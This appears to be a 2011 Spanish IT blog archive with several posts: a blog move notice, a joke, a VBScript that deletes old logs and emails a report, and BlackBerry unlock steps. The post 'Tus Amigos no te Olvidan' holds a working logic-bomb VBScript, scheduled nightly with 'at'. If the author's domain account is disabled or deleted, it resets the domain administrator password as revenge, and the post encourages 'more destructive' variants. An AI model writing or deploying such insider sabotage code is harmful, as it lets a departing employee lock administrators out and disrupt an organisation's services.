18 ago 2011

De Mudanza

Pues nada... que estamos de mudanzas y paso el blog a la siguiente dirección:

http://blogs.itpro.es/oscarmarin/

A partir de ahora seguiré con las publicaciones en este otro blog.

Os espero!!!

20 jul 2011

De donde vienen los Fraggle Rock

Gracias a mi princesita, por fin hemos encontrado de donde vienen los Fraggle...





Son idénticos!!! Y si no, a las pruebas me remito:


19 abr 2011

Scripting People: Tus Amigos no te Olvidan

Tal y como esta la cosa del trabajo hay que protegerse las espaldas, o al menos hacer que tus "amigos" no te olviden tan facilmente...

Así y sin más dilación, os traigo esta "joyita" que se me ha ocurrido... Un mini-script para que no nos olviden


' Scripting People - Tus "Amigos" no te Olvidan
' by Oscar Marin

' Requiere privilegios administrativos (ejecutar con una cuenta con privilegios
' de administrador del dominio si se puede) para poder cambiar la contraseña
' de un usuario del dominio (o para hacer lo que te apetezca)

' Para el correcto funcionamiento habrá que dejar el script corriendo en una
' tarea programada, por ejemplo, que se ejecute cada noche y compruebe si todavia
' seguimos en la empresa. Se puede hacer esto con el siguiente comando:
' at 23:52 /every:l,m,mi,j,v "cmd /c cscript d:\scripts\user-exist.vbs"
' Que ejecutará el comando cada dia entre semana a las 23:52

' Definimos e inicializamos las variables
' En Principio no existe nuestra cuenta pero estamos habilitados
boolExiste = false
boolDeshabilitado = false

' No tengais miedo a utilizar variables largas, es preferible copiar y pegar
' que no saber que hace una variable
usrQueNoTieneQueSerDespedido = "scriptingpeople2"

' Definimos el nombre del admin y la contraseña que vamos a usar para cambiarsela al administrador
usrAdmin = "scriptingpeople"
pass = "scriptingpeople1!"

' Llamamos a la funcion que comprueba que nuestro usuario este ok
' Es decir, comprueba que exista (que no lo han borrado) y que
' esta habilitado (que no lo han bloqueado)
EstadoUsr(usrQueNoTieneQueSerDespedido)

' Si existimos, por ahora esta todo bien, veremos si esta la cuenta deshabilitada
If boolExiste Then

' Vemos que al menos existimos, pero ¿Estamos deshabilitados?
' Si la cuenta esta deshabilitada es que nos han echado
If boolDeshabilitado Then

' Imprimimos mensaje de advertencia
Wscript.Echo "Mierda, te han bloqueado la cuenta, se van a cagar!!!"

' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
ChangePwd(usrAdmin)
End If
Else ' Si han borrado el usuario...

' Imprimimos mensaje de advertencia
Wscript.Echo "Te han largao, lo van a pagar caro!!!"

' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
' Una vez cambiada la contraseña, en el siguiente reinicio dejarán de funcionar todos los
' servicios que se ejecuten con la cuenta de administrador, cosa demasiado comun por
' desgracia y ademas, en caso de que sea la unica cuenta con privilegios administrativos...
' ...los administradores no podran iniciar sesion y tendran que utilizar alguna herramienta
' para volver a restaurar la contraseña

' Este paso podeis cambiarlo por otra funcion bastante mas destructiva para que de verdad
' Tus "Amigos" no te Olviden... pero eso ya lo dejo a vuestra imaginacion
ChangePwd(usrAdmin)
End If


' Funcion que comprueba si la cuenta esta borrada o deshabilitada
Sub EstadoUsr(strUserName)

' Creamos el objeto dominio con nuestro nombre NETBIOS del dominio
Set objDomain = GetObject("WinNT://midominionetbios")

' Filtramos solo los usuarios del dominio (que no nos aprezcan nombres de maquina o cosas diferentes)
objDomain.Filter = Array("user")

' Para cada usuario del dominio
For Each User In objDomain

' Comprobamos que el usuario en minusculas (por asegurarnos que no hay errores de mayusculas y
' minusculas) sea igual al usuario que le hemos pasado a la funcion y en caso afirmativo...
If lcase(User.Name) = lcase(strUserName) Then

' Marcamos a verdadero la variable de que el usuario existe
boolExiste = true

' Imprimimos en pantalla el mensaje de que existe
WScript.Echo User.Name & " existe... pero vamos a investigar mas..."

' Pero tambien comprobamos si la cuenta sigue activa o esta deshabilitada
' Si la cuenta esta deshabilitada... (Nos han echado...)
If User.AccountDisabled = true Then

' Marcamos la variable de control de deshabilitado a Verdadero
boolDeshabilitado = true

' Imprimimos la cruda realidad
Wscript.Echo User.Name & " esta deshabilitado"
Else ' Si no... Está todo bien... Existe la cuenta y esta habilitada

' Marcamos la variable como que tampoco esta deshabilitada
boolDeshabilitado = false

' Imprimimos nuestra salvacion
Wscript.Echo User.Name & " sigue en activo"
End If
End If
Next

' Si el usuario no existe... Como la variable de control ha empezado a False...
' No hacemos ningun cambio sobre la variable de control, por lo que se desencadenan
' las acciones de venganza que tengamos programadas en el programa principal
If boolExiste = false Then

' Pero si que imprimimos la cruda realidad
Wscript.Echo strUserName & " no existe"
End If
End Sub

' Funcion para cambiar la contraseña de un usuario
Sub ChangePwd(strUserNameAdmin)

' Esta vez creamos directamente el objeto del usuario apuntando a su DistinguishedName (DN) directamente
' Podeis ver cual es el DN del usuario con el ADSI Edit (adsiedit.msc) por ejemplo, aunque por logica
' es bastante sencillo averiguarlo sabiendo en que OU/CN está
Set objUser = GetObject ("LDAP://cn=" & strUserNameAdmin & ",cn=Users,dc=dominio,dc=demo")

' Y le cambiamos la contraseña con la arriba definida
objUser.SetPassword pass
End Sub

14 abr 2011

Scripting People: Reciclado de logs

En general, los que nos dedicamos a los sistemas somos bastante perezosos a la hora de programar, aunque en principio hay un abismo entre programadores o picateclas e IT Pros o pelacables, existe una zona “oscura” para ambos mundos, que son los scripts.

¿Los tendrían que hacer los programadores sin conocimientos profundos de los sistemas o los IT Pros sin conocimientos profundos de programación?


En mi opinión, los IT Pros tenemos que ponernos las pilas y meterle caña al scripting,es muuuuy sencillo el crear un script para automatizar tareas repetitivas o complejas y no requiere grandes conocimientos de programación. Por esto mismo he decidido crear unas series “Scripting People” de ejemplos útiles en nuestra vida para resolver las tareas repetitivas, aburridas o complejas que voy encontrando en mi camino.


Esta vez os dejaré algo facilillo… Un script de reciclado de logs. ¿No os habéis encontrado con sistemas con un disco duro algo escaso y que generan tal cantidad de logs (o archivos) que nos llenan el disco duro y nos tenemos que pelar un montón de horas para solucionar el problema? Pues ahí va mi humilde solución…


Por cierto, no esperéis scripts con un alto nivel de complejidad de código, los explicaré todo lo que considere oportuno y seguro que hay una mejor forma de hacerlos, pero esta es la mía.


****************************************************************** 
' Scripting People - Reciclado de Logs
' by Oscar Marin
'(como habreis observado evito usar tildes y
' simbolos extranyos para que no hayan problemas
' de compatibilidad con nada)
' Definimos el Directorio de busqueda
path = "C:\programa_pesado\logs"

' Definimos la fecha de borrado de los ficheros
killdate = date() - 90

' La fecha seria, la actual menos 90 dias, es decir,
' borraremos los ficheros mas antiguos de 3 meses
' Definimos un patron de busqueda, por si hay logs
' con diferente nombre, en este caso borraremos los
' access-log-fecha.log (basta con definir un trozo
' unico en la cadena de busqueda)
patron = "access-"

' Inicializamos un array (un contenedor para meter objetos)
' que usaremos mas tarde
arFiles = Array()

' Creamos el objeto "Script"
' necesario en los scripts WSH(Windows Scripting Host)
set fso = CreateObject("Scripting.FileSystemObject")
 
' Primero tendremos que organizar los objetos (los ficheros del
' directorio) en un array y luego trabajar (borrar) con ellos,
' ya que es posible que el objeto FSO no nos los devuelva con el
' orden que esperamos

' Llamamos a la funcion "SelectFiles" que seleccionará los ficheros
' a borrar, es decir, los ficheros del path que hemos seleccionado
' que sean más antiguos de la fecha que hemos puesto y los metemos
' en un array.
' Mas abajo podreis ver concretamente que hace la funcion SelectFiles 
SelectFiles path, killdate, arFiles, false

' Inicializamos a 0 la variable que controla el numero de
' ficheros borrados
nDeleted = 0

' Y hacemos el bucle de borrado, desde 0, hasta el total de elementos
' que tenemos en el array (contenedor de ficheros a borrar)
for n = 0 to ubound(arFiles)

  '=================================================
  ' WARNING: Es importante saber que los  ficheros
' borrados con FSO (arFiles(n).delete) no van a la
' papelera de reciclaje, se eliminan directamente
  '=================================================

' Si hubiera un error, paso de el y me voy al siguiente elemento
' a procesar. Si no ponemos esta linea y hubiera un error, el
' script se detendria 
on error resume next

' Borramos cada fichero del array (no va a la papelera de reciclaje) 
arFiles(n).delete true

' Si hay un error de borrado, es decir, el codigo que devuelve
' es diferente de 0 (si es un 0 no hay error) 
if err.number <> 0 then

'Escribe en pantalla que no se puede borrar el fichero 
    wscript.echo "Unable to delete: " & arFiles(n).path

' si no
  else

' Aumentamos en 1 el contador de ficheros borrados
    nDeleted = nDeleted + 1
  end if
next

' Escribimos en pantalla el numero de ficheros eliminados 
wscript.echo nDeleted & " of " & ubound(arFiles)+1 _
  & " eligible files were deleted"
 
  '=================================================
  ' Enviamos el resultado por correo electronico:
  '=================================================

' Definimos el esquema necesario para el envio de correo  
sch = "http://schemas.microsoft.com/cdo/configuration/"

' Y creamos el objeto de la configuracion del envio de correo 
Set MsgConfig = CreateObject("CDO.Configuration")

' Configuramos los campos necesarios para el envio de correo 
With MsgConfig.Fields

' Podemos enviar el mensaje (cdoSendUsingPickup = 1) utilizando
' el SMTP local con el directorio de "pickup", o bien
' enviar el mensaje utilizando un SMTP externo (cdoSendUsingPort = 2)           
  .Item(sch & "sendusing") = 2  ' cdoSendUsingPort

' Definimos el servidor SMTP a utilizar
  .Item(sch & "smtpserver") = "smtp.contoso.com"

' Y grabamos las opciones 
  .update 
End With

' Creamos el objeto mensaje
Set Msg = CreateObject("CDO.Message")
 
With Msg

' Le aplicamos la configuracion anterior
     Set .Configuration = MsgConfig
' Y definimos los campos del mensaje en si 
       ' Campo Para
.To = "oscarintherocks@gmail.com"

' Campo De
       .From = "oscarintherocks@gmail.com"

' Campo asunto
       .Subject = "Hoy he borrado " & nDeleted & " logs"

' Y el cuerpo del mensaje
   .TextBody = "He borrado " & nDeleted & " de " & ubound(arFiles)+1 _
   & " ficheros susceptibles de borrado.  Estos ficheros son anteriores _
a la fecha " & vbCrLf & Killdate & vbCrLf & vbCrLf _
& "Los ficheros se han borrado de la siguiente carpeta: " _
& vbCrLf & path

' Por ultimo enviamos el mensaje 
.Send
        
End With

' ==================================
' Funciones... A continuacion vienen las funciones que utilizamos
' en el script mas arriba
' ==================================

' Funcion para seleccionar que ficheros borraremos y añadirlos al array
sub SelectFiles(sPath,vKillDate,arFilesToKill,bIncludeSubFolders)

' Como veis entre parentesis, le hemos pasado 4 parametros que
' utilizaremos dentro de la funcion

' Definimos el directorio con el Path que le hemos pasado a la funcion 
Set folder = fso.GetFolder(sPath)

' Definimos una variable con todos los ficheros del directorio
  Set files = folder.files

' Y para cada fichero
  for each file in files

' Buscamos el patron para hacer una primera seleccion de los ficheros 
if InStr(file, patron) Then

' Si contiene el patron
' Inicializamos la variable de la fecha de modificacion 
dtlastmodified = null

' Si se produce algun error seguiremos con el siguiente fichero
    on error resume Next

' Obtenemos la fecha de modificacion del fichero para pasarle el filtro
' de fecha
    dtlastmodified = file.datelastmodified
' Controlamos que no haya un error en la fecha y nos pete el script
    if not isnull(dtlastmodified) Then

' Si la fecha de modificacion es anterior a la fecha a partir
' de la cual queremos borrar ficheros
      if dtlastmodified < vKillDate then

' Anyadimos 1 al contador de ficheros a borrar
        count = ubound(arFilesToKill) + 1

' Ampliamos el array en 1 para meter el fichero que queremos borrar
        redim preserve arFilesToKill(count)

' Y metemos el fichero en el array, para despues borrar
' los ficheros del array completo
        set arFilesToKill(count) = file
      end if
    end if
   end if
  next

' Si en la funcion le hemos pasado un "true" en el cuarto parametro
' lo que haremos sera incluir los subdirectorios
if bIncludeSubFolders then

' por lo tanto para cada subdirectorio
    for each fldr in folder.subfolders

' Volvemos a llamar a la funcion que eliminara los ficheros a
' borrar recursivamente
      SelectFiles fldr.path,vKillDate,arFilesToKill,true
    next
  end if
end sub

******************************************************************


Pues esto es todo, con este script podreis hacer un reciclado de logs automático simplemente ejecutándolo diariamente en las tareas programadas. Por supuesto se puede adaptar a nuestras necesidades y mejorar todo lo que querais.

Espero que os sea útil.

21 sept 2010

Liberar Blackberry por IMEI

Para poder liberar esos bichos raros e ininteligibles que son las blackberry por IMEI hay que seguir los siguientes sencillos pasos:

1.- Con el IMEI (*#06# o menú-estado) solicitar MEP al operador
2.- Apagar Red Móvil (Menú conexiones)
3.- Ir a Opciones - Opciones Avanzadas - Tarjeta SIM (Aparece ID y nº telefono)
3.- Escribir mepd (si hay mas de 1 letra por tecla hay que pulsar tantas veces como sea necesario) y aparece Red: Activo
4.- Escribir mep2 (si no funciona escribir mepe) Aparecerá una ventana para introducir MEP
5.- Introducir MEP y ya teneis la Blackberry liberada. El campo Red cambiará a Inactivo